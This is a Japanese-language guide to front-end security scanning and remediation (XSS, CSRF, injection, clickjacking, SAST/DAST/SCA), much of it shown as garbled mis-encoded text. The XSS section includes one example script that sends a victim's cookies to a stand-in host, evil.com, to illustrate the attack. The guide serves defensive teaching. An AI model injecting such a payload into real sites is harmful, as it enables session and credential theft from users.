ããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ã®å æ¬çãªã¬ã€ããèåŒ±æ§æ€åºæè¡ãä¿®æ£æŠç¥ãã°ããŒãã«ãªWebã¢ããªã±ãŒã·ã§ã³ãä¿è·ããããã®ãã¹ããã©ã¯ãã£ã¹ã解説ããŸãã
ããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ïŒã°ããŒãã«ã¢ããªã±ãŒã·ã§ã³ã®ããã®èåŒ±æ§æ€åºãšä¿®æ£
仿¥ã®çžäºæ¥ç¶ãããäžçã§ã¯ãWebã¢ããªã±ãŒã·ã§ã³ã¯ãŸããŸãè€éåããåºç¯ãªã»ãã¥ãªãã£è åšã«ãããããŠããŸããã¢ããªã±ãŒã·ã§ã³ã®ãŠãŒã¶ãŒåãéšåã§ããããã³ããšã³ãã¯ãæ»æè ã«ãšã£ãŠäž»èŠãªã¿ãŒã²ããã§ããããã³ããšã³ããä¿è·ããããšã¯ããŠãŒã¶ãŒãããŒã¿ããããŠãã©ã³ãã®è©å€ãå®ãããã«äžå¯æ¬ ã§ãããã®å æ¬çãªã¬ã€ãã§ã¯ãããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ã®äžçãæ¢æ±ããèåŒ±æ§æ€åºæè¡ãä¿®æ£æŠç¥ããããŠå®å šãªã°ããŒãã«Webã¢ããªã±ãŒã·ã§ã³ãæ§ç¯ããããã®ãã¹ããã©ã¯ãã£ã¹ã«ã€ããŠè§£èª¬ããŸãã
ãªãããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ãéèŠãªã®ãïŒ
ããã³ããšã³ãã®ã»ãã¥ãªãã£è匱æ§ã¯ã以äžã®ãããªå£æ» çãªçµæãããããå¯èœæ§ããããŸãïŒ
- ããŒã¿äŸµå®³ïŒæ»æè ã¯ãã°ã€ã³æ å ±ãè²¡åæ å ±ãå人æ å ±ãªã©ã®æ©å¯æ§ã®é«ããŠãŒã¶ãŒããŒã¿ãçãããšãã§ããŸãã
- ãŠã§ããµã€ãã®æ¹ããïŒããã«ãŒã¯ãŠã§ããµã€ãã®ã³ã³ãã³ãã倿Žãããã©ã³ãã€ã¡ãŒãžãè©å€ãæãªãå¯èœæ§ããããŸãã
- ãã«ãŠã§ã¢ã®é åžïŒæ»æè ã¯ãŠã§ããµã€ãã«æªæã®ããã³ãŒããæ³šå ¥ãã蚪åè ã®ã³ã³ãã¥ãŒã¿ã«ææãããããšãã§ããŸãã
- ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ïŒXSSïŒïŒæ»æè ã¯ãŠã§ããµã€ãã«æªæã®ããã¹ã¯ãªãããæ³šå ¥ãããŠãŒã¶ãŒã®ã¯ãããŒãçãã ããæªæã®ãããŠã§ããµã€ãã«ãªãã€ã¬ã¯ãããããããŠã§ããµã€ããæ¹ãããããããããšãã§ããŸãã
- ã¯ãªãã¯ãžã£ããã³ã°ïŒæ»æè ã¯ãŠãŒã¶ãŒãéšããŠé ãããèŠçŽ ãã¯ãªãã¯ãããäžæ£ãªã¢ã¯ã·ã§ã³ãããŒã¿æŒæŽ©ãåŒãèµ·ããå¯èœæ§ããããŸãã
- ãµãŒãã¹æåŠïŒDoSïŒæ»æïŒæ»æè ã¯ãŠã§ããµã€ãã«å€§éã®ãã©ãã£ãã¯ãéãã€ããæ£åœãªãŠãŒã¶ãŒãå©çšã§ããªãããã«ããããšãã§ããŸãã
ããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ã¯ããããã®è匱æ§ãæ»æè ã«ãã£ãŠæªçšãããåã«ãç©æ¥µçã«ç¹å®ã察åŠããã®ã«åœ¹ç«ã¡ãŸããéçºã©ã€ããµã€ã¯ã«ã«ã»ãã¥ãªãã£ã¹ãã£ã³ãçµã¿èŸŒãããšã§ãããå®å šã§å埩åã®ããWebã¢ããªã±ãŒã·ã§ã³ãæ§ç¯ã§ããŸãã
ããã³ããšã³ãã®ã»ãã¥ãªãã£è匱æ§ã®çš®é¡
ããã³ããšã³ãã¢ããªã±ãŒã·ã§ã³ã«ã¯ãäžè¬çã«ããã€ãã®çš®é¡ã®è匱æ§ã圱é¿ããŸãã广çãªã»ãã¥ãªãã£ã¹ãã£ã³ãšä¿®æ£ã®ããã«ã¯ããããã®è匱æ§ãçè§£ããããšãäžå¯æ¬ ã§ãïŒ
ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ïŒXSSïŒ
XSSã¯ãæãäžè¬çã§å±éºãªããã³ããšã³ãã®è匱æ§ã®äžã€ã§ããæ»æè ãããªãã®ãŠã§ããµã€ãã«æªæã®ããã¹ã¯ãªãããæ³šå ¥ããããããŠãŒã¶ãŒã®ãã©ãŠã¶ã§å®è¡ãããããšã«ãã£ãŠçºçããŸããXSSæ»æã¯ããŠãŒã¶ãŒã®ã¯ãããŒãçãã ãããŠãŒã¶ãŒãæªæã®ãããŠã§ããµã€ãã«ãªãã€ã¬ã¯ãããããããŠã§ããµã€ããæ¹ãããããããããã«äœ¿çšãããå¯èœæ§ããããŸãã
äŸïŒãŠãŒã¶ãŒãã³ã¡ã³ããæçš¿ã§ããããã°ã®ã³ã¡ã³ãã»ã¯ã·ã§ã³ãæ³åããŠã¿ãŠãã ãããããã°ãå
¥åå€ãé©åã«ãµãã¿ã€ãºããŠããªãå Žåãæ»æè
ã¯ã³ã¡ã³ãã«æªæã®ããã¹ã¯ãªãããæ³šå
¥ããå¯èœæ§ããããŸããä»ã®ãŠãŒã¶ãŒããã®ã³ã¡ã³ããèŠããšãã¹ã¯ãªããã圌ãã®ãã©ãŠã¶ã§å®è¡ãããã¯ãããŒãçãŸãããããã£ãã·ã³ã°ãµã€ãã«ãªãã€ã¬ã¯ãããããããå¯èœæ§ããããŸããäŸãã°ããŠãŒã¶ãŒã¯æ¬¡ã®ããã«æ¿å
¥ãããããããŸããïŒ <script>window.location="http://evil.com/steal-cookies.php?cookie="+document.cookie;</script>
ä¿®æ£æ¹æ³ïŒ
- å ¥å倿€èšŒïŒãã¹ãŠã®ãŠãŒã¶ãŒå ¥åããµãã¿ã€ãºããæªæã®ããå¯èœæ§ã®ããæåãåé€ãŸãã¯ãšã³ã³ãŒãããŸãã
- åºåãšã³ã³ãŒãã£ã³ã°ïŒããŒãžã«è¡šç€ºããåã«ããŒã¿ããšã³ã³ãŒãããã³ãŒããšããŠè§£éãããã®ãé²ããŸãã
- ã³ã³ãã³ãã»ãã¥ãªãã£ããªã·ãŒïŒCSPïŒïŒCSPãå®è£ ããŠãã¹ã¯ãªãããããŒãããããœãŒã¹ãå¶éããŸãã
- ã»ãã¥ãªãã£éèŠã®ããã³ããšã³ããã¬ãŒã ã¯ãŒã¯ã®äœ¿çšïŒå€ãã®çŸä»£çãªãã¬ãŒã ã¯ãŒã¯ïŒReact, Angular, Vue.jsïŒã«ã¯ãçµã¿èŸŒã¿ã®XSSä¿è·ã¡ã«ããºã ããããŸãã
ã¯ãã¹ãµã€ããªã¯ãšã¹ããã©ãŒãžã§ãªïŒCSRFïŒ
CSRFã¯ãæ»æè ããŠãŒã¶ãŒã«æ°ã¥ãããã«ããŸãã¯åæãªãã«ãŠã§ããµã€ãäžã§ã¢ã¯ã·ã§ã³ãå®è¡ãããæå£ã§ããããã¯ãè匱ãªWebã¢ããªã±ãŒã·ã§ã³ãæšçãšããæªæã®ããã³ãŒããã¡ãŒã«ããŠã§ããµã€ãã«åã蟌ãããšã«ãã£ãŠéæãããŸãã
äŸïŒãŠãŒã¶ãŒããªã³ã©ã€ã³ãã³ãã³ã°ã®ã¢ã«ãŠã³ãã«ãã°ã€ã³ããŠãããšããŸããæ»æè ã¯ãŠãŒã¶ãŒã«ã¡ãŒã«ãéãããã®ãªã³ã¯ãã¯ãªãã¯ãããšããŠãŒã¶ãŒã®ã¢ã«ãŠã³ãããæ»æè ã®ã¢ã«ãŠã³ããžééãå®è¡ãããããã«ä»åããŸããããã¯ããã©ãŠã¶ããªã¯ãšã¹ããšå ±ã«ãŠãŒã¶ãŒã®èªèšŒã¯ãããŒãèªåçã«éä¿¡ãããããæ»æè ãã»ãã¥ãªãã£ãã§ãã¯ããã€ãã¹ã§ããããã§ãã
ä¿®æ£æ¹æ³ïŒ
- ã·ã³ã¯ããã€ã¶ãŒããŒã¯ã³ãã¿ãŒã³ïŒSTPïŒïŒåãŠãŒã¶ãŒã»ãã·ã§ã³ã«å¯ŸããŠãŠããŒã¯ã§äºæž¬äžå¯èœãªããŒã¯ã³ãçæãããã¹ãŠã®ãã©ãŒã ãšãªã¯ãšã¹ãã«å«ããŸãããµãŒããŒåŽã§ããŒã¯ã³ãæ€èšŒãããªã¯ãšã¹ããæ£åœãªãŠãŒã¶ãŒããçºä¿¡ãããããšã確èªããŸãã
- ããã«ãµããããã¯ãããŒïŒã©ã³ãã ãªå€ãæã€ã¯ãããŒãèšå®ããåãå€ããã©ãŒã ã®é ããã£ãŒã«ããšããŠå«ããŸãããµãŒããŒåŽã§äž¡æ¹ã®å€ãäžèŽããããšã確èªããŸãã
- SameSiteã¯ãããŒå±æ§ïŒSameSiteã¯ãããŒå±æ§ã䜿çšããŠãã¯ãã¹ãµã€ããªã¯ãšã¹ãã§ã¯ãããŒãéä¿¡ãããã®ãé²ããŸãã
- ãŠãŒã¶ãŒã€ã³ã¿ã©ã¯ã·ã§ã³ïŒæ©å¯æ§ã®é«ãã¢ã¯ã·ã§ã³ã«ã€ããŠã¯ããŠãŒã¶ãŒã«åèªèšŒãèŠæ±ããããCAPTCHAãå ¥åããããããŸãã
ã€ã³ãžã§ã¯ã·ã§ã³æ»æ
ã€ã³ãžã§ã¯ã·ã§ã³æ»æã¯ãæ»æè ãæªæã®ããã³ãŒããããŒã¿ãã¢ããªã±ãŒã·ã§ã³ã«æ³šå ¥ããããããµãŒããŒã«ãã£ãŠå®è¡ãŸãã¯è§£éãããããšã«ãã£ãŠçºçããŸããäžè¬çãªã€ã³ãžã§ã¯ã·ã§ã³æ»æã®çš®é¡ã«ã¯ãSQLã€ã³ãžã§ã¯ã·ã§ã³ãã³ãã³ãã€ã³ãžã§ã¯ã·ã§ã³ãLDAPã€ã³ãžã§ã¯ã·ã§ã³ãªã©ããããŸãã
äŸïŒããã³ããšã³ãã®æèã§ã¯ãã€ã³ãžã§ã¯ã·ã§ã³æ»æã¯ãæå³ããªããµãŒããŒãµã€ãã®æåãåŒãèµ·ããããã«URLãã©ã¡ãŒã¿ãæäœãã圢ã§çŸããããšããããŸããäŸãã°ããµãŒããŒãµã€ãã§é©åã«ãµãã¿ã€ãºãããŠããªãã¯ãšãªãã©ã¡ãŒã¿ã«æªæã®ããããŒã¿ãæ³šå ¥ããããšã§ãè匱ãªAPIãšã³ããã€ã³ããæªçšãããªã©ã§ãã
ä¿®æ£æ¹æ³ïŒ
- å ¥å倿€èšŒïŒãã¹ãŠã®ãŠãŒã¶ãŒå ¥åããµãã¿ã€ãºããã³æ€èšŒããæªæã®ããããŒã¿ãæ³šå ¥ãããã®ãé²ããŸãã
- ãã©ã¡ãŒã¿åã¯ãšãªïŒãã©ã¡ãŒã¿åã¯ãšãªã䜿çšããŠãSQLã€ã³ãžã§ã¯ã·ã§ã³æ»æãé²ããŸãã
- æå°æš©éã®ååïŒãŠãŒã¶ãŒã«ã¯ã¿ã¹ã¯ãå®è¡ããããã«å¿ èŠæå°éã®æš©éã®ã¿ãä»äžããŸãã
- ãŠã§ãã¢ããªã±ãŒã·ã§ã³ãã¡ã€ã¢ãŠã©ãŒã«ïŒWAFïŒïŒWAFãå°å ¥ããŠæªæã®ãããã©ãã£ãã¯ããã£ã«ã¿ãªã³ã°ããã¢ããªã±ãŒã·ã§ã³ãã€ã³ãžã§ã¯ã·ã§ã³æ»æããä¿è·ããŸãã
ã¯ãªãã¯ãžã£ããã³ã°
ã¯ãªãã¯ãžã£ããã³ã°ã¯ãæ»æè ããŠãŒã¶ãŒãéšããŠããŠãŒã¶ãŒãèªèããŠãããã®ãšã¯ç°ãªããã®ãã¯ãªãã¯ãããæå£ã§ãæ©å¯æ å ±ãæŒæŽ©ãããããäžèŠç¡å®³ãªãŠã§ãããŒãžãã¯ãªãã¯ããŠããéã«ã³ã³ãã¥ãŒã¿ãå¶åŸ¡ãããããå¯èœæ§ããããŸãã
äŸïŒæ»æè ã¯ããªãã®ãŠã§ããµã€ããèªèº«ã®ãŠã§ããµã€ãäžã®iframeã«åã蟌ããããããŸããããããŠãããªãã®ãŠã§ããµã€ãã®ã³ã³ãã³ãã®äžã«éæãªãã¿ã³ããªã³ã¯ãéããŸãããŠãŒã¶ãŒãæ»æè ã®ãŠã§ããµã€ããã¯ãªãã¯ãããšãå®éã«ã¯æ°ã¥ããã«ããªãã®ãŠã§ããµã€ãã®èŠçŽ ãã¯ãªãã¯ããŠããããšã«ãªããŸããããã¯ããŠãŒã¶ãŒãéšããŠFacebookã®ããŒãžã«ããããïŒãããããããTwitterã¢ã«ãŠã³ãããã©ããŒãããããããã«ã¯è³Œå ¥ãããããããããã«äœ¿çšãããå¯èœæ§ããããŸãã
ä¿®æ£æ¹æ³ïŒ
- X-Frame-OptionsããããŒïŒX-Frame-OptionsããããŒãèšå®ããŠãããªãã®ãŠã§ããµã€ããä»ã®ãŠã§ããµã€ãã®iframeã«åã蟌ãŸããã®ãé²ããŸããäžè¬çãªå€ã¯ `DENY`ïŒåã蟌ã¿ãå®å šã«é²ãïŒãš `SAMEORIGIN`ïŒåããã¡ã€ã³ããã®åã蟌ã¿ã®ã¿ãèš±å¯ããïŒã§ãã
- ã³ã³ãã³ãã»ãã¥ãªãã£ããªã·ãŒïŒCSPïŒïŒCSPã䜿çšããŠãããªãã®ãŠã§ããµã€ãããã¬ãŒã åã§ãããã¡ã€ã³ãå¶éããŸãã
- ãã¬ãŒã ãã¹ãã£ã³ã°ã¹ã¯ãªããïŒããªãã®ãŠã§ããµã€ãããã¬ãŒã åãããŠãããã©ãããæ€åºãããŠãŒã¶ãŒããããã¬ãã«ã®ãŠã£ã³ããŠã«ãªãã€ã¬ã¯ãããJavaScriptã³ãŒããå®è£ ããŸããïŒæ³šæïŒãã¬ãŒã ãã¹ãã£ã³ã°ã¹ã¯ãªããã¯æã ãã€ãã¹ãããå¯èœæ§ããããŸãïŒã
ãã®ä»ã®äžè¬çãªããã³ããšã³ãã®è匱æ§
- å®å šã§ãªããã€ã¬ã¯ããªããžã§ã¯ãåç §ïŒIDORïŒïŒæ»æè ãèå¥åãæäœããããšã§ãã¢ã¯ã»ã¹æš©éã®ãªããªããžã§ã¯ãããªãœãŒã¹ã«ã¢ã¯ã»ã¹ã§ããããã«ããŸãã
- æ©å¯ããŒã¿ã®æŒæŽ©ïŒAPIããŒããã¹ã¯ãŒããå人æ å ±ãªã©ã®æ©å¯ããŒã¿ããæš©éã®ãªããŠãŒã¶ãŒã«å ¬éãããå Žåã«çºçããŸãã
- ã»ãã¥ãªãã£èšå®ã®äžåïŒã»ãã¥ãªãã£æ©èœãé©åã«èšå®ãŸãã¯æå¹åãããŠããªãå Žåã«çºçããã¢ããªã±ãŒã·ã§ã³ãæ»æã«å¯ŸããŠè匱ãªãŸãŸã«ãªããŸãã
- æ¢ç¥ã®è匱æ§ãæã€ã³ã³ããŒãã³ãã®äœ¿çšïŒæ¢ç¥ã®ã»ãã¥ãªãã£äžã®æ¬ é¥ããããµãŒãããŒãã£ã®ã©ã€ãã©ãªãå©çšããããšã
ããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ã®ææ³
ããã³ããšã³ãã®ã»ãã¥ãªãã£è匱æ§ãã¹ãã£ã³ããããã«äœ¿çšã§ããããã€ãã®ææ³ããããŸãïŒ
éçã¢ããªã±ãŒã·ã§ã³ã»ãã¥ãªãã£ãã¹ãïŒSASTïŒ
SASTããŒã«ã¯ãœãŒã¹ã³ãŒããåæããŠãæœåšçãªè匱æ§ãç¹å®ããŸãããããã®ããŒã«ã¯ãXSSãCSRFãã€ã³ãžã§ã¯ã·ã§ã³æ»æãªã©ãå¹ åºãåé¡ãæ€åºã§ããŸããSASTã¯éåžžãéçºã©ã€ããµã€ã¯ã«ã®æ©ã段éã§å®æœãããè匱æ§ãæ¬çªç°å¢ã«ãããã€ãããåã«ææãä¿®æ£ããããšãã§ããŸãã
é·æïŒ
- è匱æ§ã®æ©æçºèŠ
- 詳现ãªã³ãŒãåæ
- CI/CDãã€ãã©ã€ã³ãžã®çµ±åãå¯èœ
çæïŒ
- åœéœæ§ïŒèª€æ€ç¥ïŒãçæããå¯èœæ§ããã
- å®è¡æã®è匱æ§ãæ€åºã§ããªãå Žåããã
- ãœãŒã¹ã³ãŒããžã®ã¢ã¯ã»ã¹ãå¿ èŠ
ããŒã«äŸïŒã»ãã¥ãªãã£é¢é£ãã©ã°ã€ã³ãåããESLint, SonarQube, Veracode, Checkmarx.
åçã¢ããªã±ãŒã·ã§ã³ã»ãã¥ãªãã£ãã¹ãïŒDASTïŒ
DASTããŒã«ã¯å®è¡äžã®ã¢ããªã±ãŒã·ã§ã³ãã¹ãã£ã³ããŠè匱æ§ãç¹å®ããŸãããããã®ããŒã«ã¯ãå®éã®æ»æãã·ãã¥ã¬ãŒãããŠã¢ããªã±ãŒã·ã§ã³ã®ã»ãã¥ãªãã£äžã®åŒ±ç¹ãçºèŠããŸããDASTã¯éåžžãã¢ããªã±ãŒã·ã§ã³ããã¹ãç°å¢ã«ãããã€ãããåŸãéçºã©ã€ããµã€ã¯ã«ã®åŸåã§å®æœãããŸãã
é·æïŒ
- å®è¡æã®è匱æ§ãæ€åº
- ãœãŒã¹ã³ãŒããžã®ã¢ã¯ã»ã¹ãäžèŠ
- SASTãããåœéœæ§ãå°ãªã
çæïŒ
- è匱æ§ã®çºèŠãé ãã
- å®è¡äžã®ã¢ããªã±ãŒã·ã§ã³ãå¿ èŠ
- ãã¹ãŠã®ã³ãŒããã¹ãç¶²çŸ ã§ããªãå Žåããã
ããŒã«äŸïŒOWASP ZAP, Burp Suite, Acunetix, Netsparker.
ãœãããŠã§ã¢æ§æåæïŒSCAïŒ
SCAããŒã«ã¯ã¢ããªã±ãŒã·ã§ã³ã®äŸåé¢ä¿ãåæããæ¢ç¥ã®è匱æ§ãæã€ã³ã³ããŒãã³ããç¹å®ããŸããããã¯ã倿°ã®ãµãŒãããŒãã£ã©ã€ãã©ãªããã¬ãŒã ã¯ãŒã¯ã«äŸåããããšãå€ãããã³ããšã³ãã¢ããªã±ãŒã·ã§ã³ã«ãšã£ãŠç¹ã«éèŠã§ããSCAããŒã«ã¯ãå€ããªã£ãããŸãã¯è匱ãªã³ã³ããŒãã³ããç¹å®ããæŽæ°çãæšå¥šããã®ã«åœ¹ç«ã¡ãŸãã
é·æïŒ
- è匱ãªã³ã³ããŒãã³ãã®ç¹å®
- ä¿®æ£ã¢ããã€ã¹ã®æäŸ
- äŸåé¢ä¿ã®èªå远跡
çæïŒ
- è匱æ§ããŒã¿ããŒã¹ã«äŸå
- ãŒããã€è匱æ§ãæ€åºã§ããªãå Žåããã
- äŸåé¢ä¿ãããã§ã¹ããå¿ èŠ
ããŒã«äŸïŒSnyk, WhiteSource, Black Duck.
ãããã¬ãŒã·ã§ã³ãã¹ã
ãããã¬ãŒã·ã§ã³ãã¹ãã§ã¯ãã»ãã¥ãªãã£å°éå®¶ãéããã¢ããªã±ãŒã·ã§ã³ã«å¯Ÿããå®éã®æ»æãã·ãã¥ã¬ãŒãããŸãããããã¬ãŒã·ã§ã³ãã¹ã¿ãŒã¯ããŸããŸãªæè¡ã䜿çšããŠè匱æ§ãç¹å®ããã¢ããªã±ãŒã·ã§ã³ã®ã»ãã¥ãªãã£äœå¶ãè©äŸ¡ããŸãããããã¬ãŒã·ã§ã³ãã¹ãã¯ãèªåã¹ãã£ã³ããŒã«ã§ã¯æ€åºãããªãè匱æ§ãçºèŠããããã®è²Žéãªæ¹æ³ãšãªãåŸãŸãã
é·æïŒ
- è€éãªè匱æ§ã®çºèŠ
- ã»ãã¥ãªãã£ã®çŸå®çãªè©äŸ¡ãæäŸ
- ç¹å®ã®è åšã«åãããŠã«ã¹ã¿ãã€ãºå¯èœ
çæïŒ
ãã©ãŠã¶éçºè ããŒã«
å³å¯ã«ã¯ãã¹ãã£ã³ããŒã«ãã§ã¯ãããŸããããçŸä»£ã®ãã©ãŠã¶éçºè ããŒã«ã¯ãããã³ããšã³ãã®ã³ãŒãããããã¯ãŒã¯ãªã¯ãšã¹ããã¹ãã¬ãŒãžã®ãããã°ã𿀿»ã«éåžžã«è²Žéã§ãããããã䜿çšããŠãå ¬éãããAPIããŒãæå·åãããŠããªãããŒã¿éä¿¡ãå®å šã§ãªãã¯ãããŒèšå®ãè匱æ§ã瀺åããå¯èœæ§ã®ããJavaScriptãšã©ãŒãªã©ã®æœåšçãªã»ãã¥ãªãã£åé¡ãç¹å®ã§ããŸãã
éçºã©ã€ããµã€ã¯ã«ãžã®ã»ãã¥ãªãã£ã¹ãã£ã³ã®çµ±å
ããã³ããšã³ãã¢ããªã±ãŒã·ã§ã³ã广çã«ä¿è·ããããã«ã¯ãéçºã©ã€ããµã€ã¯ã«ã«ã»ãã¥ãªãã£ã¹ãã£ã³ãçµ±åããããšãäžå¯æ¬ ã§ããããã¯ãèšèšãããããã€ã¡ã³ããŸã§ãéçºããã»ã¹ã®ããããæ®µéã§ã»ãã¥ãªãã£ãã§ãã¯ãçµã¿èŸŒãããšãæå³ããŸãã
è åšã¢ããªã³ã°
è åšã¢ããªã³ã°ã¯ãã¢ããªã±ãŒã·ã§ã³ã«å¯Ÿããæœåšçãªè åšãç¹å®ãããã®å¯èœæ§ãšåœ±é¿ã«åºã¥ããŠåªå é äœãä»ããããã»ã¹ã§ããããã«ãããæãéèŠãªé åã«ã»ãã¥ãªãã£ã®åãçµã¿ãéäžãããããšãã§ããŸãã
ã»ãã¥ã¢ã³ãŒãã£ã³ã°ãã©ã¯ãã£ã¹
ã»ãã¥ã¢ã³ãŒãã£ã³ã°ãã©ã¯ãã£ã¹ãæ¡çšããããšã¯ãå®å šãªã¢ããªã±ãŒã·ã§ã³ãæ§ç¯ããããã«äžå¯æ¬ ã§ããããã«ã¯ãã»ãã¥ãªãã£ã¬ã€ãã©ã€ã³ã®éµå®ãäžè¬çãªè匱æ§ã®åé¿ãå®å šãªã³ãŒãã£ã³ã°ãã¬ãŒã ã¯ãŒã¯ãã©ã€ãã©ãªã®äœ¿çšãå«ãŸããŸãã
ã³ãŒãã¬ãã¥ãŒ
ã³ãŒãã¬ãã¥ãŒã¯ãæœåšçãªã»ãã¥ãªãã£è匱æ§ãæ¬çªç°å¢ã«ãããã€ãããåã«ç¹å®ããããã®è²Žéãªæ¹æ³ã§ããçµéšè±å¯ãªéçºè ã«ã³ãŒããã¬ãã¥ãŒããŠããããã»ãã¥ãªãã£äžã®æ¬ é¥ãæ¢ããã»ãã¥ã¢ã³ãŒãã£ã³ã°ãã©ã¯ãã£ã¹ã«æºæ ããŠããããšã確èªããŠããããŸãã
ç¶ç¶çã€ã³ãã°ã¬ãŒã·ã§ã³/ç¶ç¶çãããã€ã¡ã³ãïŒCI/CDïŒ
ã»ãã¥ãªãã£ã¹ãã£ã³ããŒã«ãCI/CDãã€ãã©ã€ã³ã«çµ±åãã倿Žãè¡ããããã³ã«ã³ãŒãã®è匱æ§ãèªåçã«ã¹ãã£ã³ããŸããããã«ãããéçºããã»ã¹ã®æ©ã段éã§è匱æ§ãææãä¿®æ£ããããšãã§ããŸãã
宿çãªã»ãã¥ãªãã£ç£æ»
宿çãªã»ãã¥ãªãã£ç£æ»ã宿œããŠãã¢ããªã±ãŒã·ã§ã³ã®ã»ãã¥ãªãã£äœå¶ãè©äŸ¡ããèŠéãããå¯èœæ§ã®ããè匱æ§ãç¹å®ããŸããããã«ã¯ãèªåã¹ãã£ã³ãšæåã®ãããã¬ãŒã·ã§ã³ãã¹ãã®äž¡æ¹ãå«ããã¹ãã§ãã
ä¿®æ£æŠç¥
ããã³ããšã³ãã¢ããªã±ãŒã·ã§ã³ã§è匱æ§ãç¹å®ããããè¿ éã«ä¿®æ£ããããšãäžå¯æ¬ ã§ããäžè¬çãªä¿®æ£æŠç¥ãããã€ã玹ä»ããŸãïŒ
- ãããé©çšïŒãœãããŠã§ã¢ãã©ã€ãã©ãªã®æ¢ç¥ã®è匱æ§ã«å¯ŸåŠããããã«ãã»ãã¥ãªãã£ããããé©çšããŸãã
- èšå®å€æŽïŒã»ãã¥ãªãã£ããããŒãæå¹ã«ããããäžèŠãªæ©èœãç¡å¹ã«ããããããªã©ãã»ãã¥ãªãã£ãåäžãããããã«ã¢ããªã±ãŒã·ã§ã³ã®èšå®ã調æŽããŸãã
- ã³ãŒã倿ŽïŒãŠãŒã¶ãŒå ¥åã®ãµãã¿ã€ãºãåºåã®ãšã³ã³ãŒãã£ã³ã°ãªã©ãè匱æ§ãä¿®æ£ããããã«ã³ãŒãã倿ŽããŸãã
- äŸåé¢ä¿ã®æŽæ°ïŒæ¢ç¥ã®è匱æ§ã«å¯ŸåŠããããã«ãã¢ããªã±ãŒã·ã§ã³ã®äŸåé¢ä¿ãææ°ããŒãžã§ã³ã«æŽæ°ããŸãã
- ã»ãã¥ãªãã£ã³ã³ãããŒã«ã®å®è£ ïŒèªèšŒãèªå¯ãå ¥å倿€èšŒãªã©ã®ã»ãã¥ãªãã£ã³ã³ãããŒã«ãå®è£ ããŠãã¢ããªã±ãŒã·ã§ã³ãæ»æããä¿è·ããŸãã
ããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ã®ãã¹ããã©ã¯ãã£ã¹
ããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ã®ãã¹ããã©ã¯ãã£ã¹ãããã€ã玹ä»ããŸãïŒ
- ã»ãã¥ãªãã£ã¹ãã£ã³ã®èªååïŒã»ãã¥ãªãã£ã¹ãã£ã³ããã»ã¹ãèªååããäžè²«ããŠå®æçã«å®è¡ãããããã«ããŸãã
- è€æ°ã®ã¹ãã£ã³ææ³ã®äœ¿çšïŒSASTãDASTãSCAããŒã«ãçµã¿åãããŠäœ¿çšããã¢ããªã±ãŒã·ã§ã³ã®ã»ãã¥ãªãã£ãå æ¬çã«ã«ããŒããŸãã
- è匱æ§ã®åªå é äœä»ãïŒè匱æ§ããã®é倧床ãšåœ±é¿ã«åºã¥ããŠåªå é äœä»ãããŸãã
- è匱æ§ã®è¿ éãªä¿®æ£ïŒæªçšã®ãªã¹ã¯ãæå°éã«æãããããè匱æ§ã¯ã§ããã ãæ©ãä¿®æ£ããŸãã
- éçºè ã®ãã¬ãŒãã³ã°ïŒéçºè ã«ã»ãã¥ã¢ã³ãŒãã£ã³ã°ãã©ã¯ãã£ã¹ã«é¢ãããã¬ãŒãã³ã°ã宿œããããããè匱æ§ãæã¡èŸŒãŸãªãããã«æ¯æŽããŸãã
- ææ°æ å ±ã®ææ¡ïŒææ°ã®ã»ãã¥ãªãã£è åšãè匱æ§ã«é¢ããæ å ±ãåžžã«ææ¡ããŠãããŸãã
- ã»ãã¥ãªãã£ãã£ã³ããªã³ããã°ã©ã ã®èšç«ïŒéçºããŒã å ã§ã»ãã¥ãªãã£ãã£ã³ããªã³ãšããŠæ©èœããå人ãæåããã»ãã¥ã¢ã³ãŒãã£ã³ã°ãã©ã¯ãã£ã¹ãæšé²ããã»ãã¥ãªãã£ãã¬ã³ããåžžã«ææ¡ãããŸãã
ããã³ããšã³ãã»ãã¥ãªãã£ã«é¢ããã°ããŒãã«ãªèæ ®äºé
ã°ããŒãã«ãªãªãŒãã£ãšã³ã¹åãã®ããã³ããšã³ãã¢ããªã±ãŒã·ã§ã³ãéçºããéã«ã¯ã以äžã®ç¹ãèæ ®ããããšãéèŠã§ãïŒ
- ããŒã«ãªãŒãŒã·ã§ã³ïŒã¢ããªã±ãŒã·ã§ã³ãç°ãªãèšèªãå°åã«é©åã«ããŒã«ã©ã€ãºãããŠããããšã確èªããŸããããã«ã¯ããã¹ãŠã®ããã¹ãã®ç¿»èš³ãé©åãªæ¥ä»ãšæ°å€ã®åœ¢åŒã®äœ¿çšãæåçãªéããžã®å¯Ÿå¿ãå«ãŸããŸãã
- åœéåïŒè€æ°ã®èšèªãšæåã»ããããµããŒãããããã«ã¢ããªã±ãŒã·ã§ã³ãèšèšããŸããUnicodeãšã³ã³ãŒãã£ã³ã°ã䜿çšããã³ãŒãå ã«ããã¹ããããŒãã³ãŒãã£ã³ã°ããã®ãé¿ããŸãã
- ããŒã¿ãã©ã€ãã·ãŒïŒGDPRïŒãšãŒãããïŒãCCPAïŒã«ãªãã©ã«ãã¢ïŒãPIPEDAïŒã«ããïŒãªã©ãããŸããŸãªåœã®ããŒã¿ãã©ã€ãã·ãŒèŠå¶ã«æºæ ããŸãã
- ã¢ã¯ã»ã·ããªãã£ïŒWCAGãªã©ã®ã¢ã¯ã»ã·ããªãã£ã¬ã€ãã©ã€ã³ã«åŸããé害ãæã€ãŠãŒã¶ãŒãã¢ããªã±ãŒã·ã§ã³ã«ã¢ã¯ã»ã¹ã§ããããã«ããŸããããã«ã¯ãç»åã«ä»£æ¿ããã¹ããæäŸããããšãã»ãã³ãã£ãã¯HTMLã䜿çšããããšãã¢ããªã±ãŒã·ã§ã³ãããŒããŒãã§æäœå¯èœã§ããããšã確èªããããšãå«ãŸããŸãã
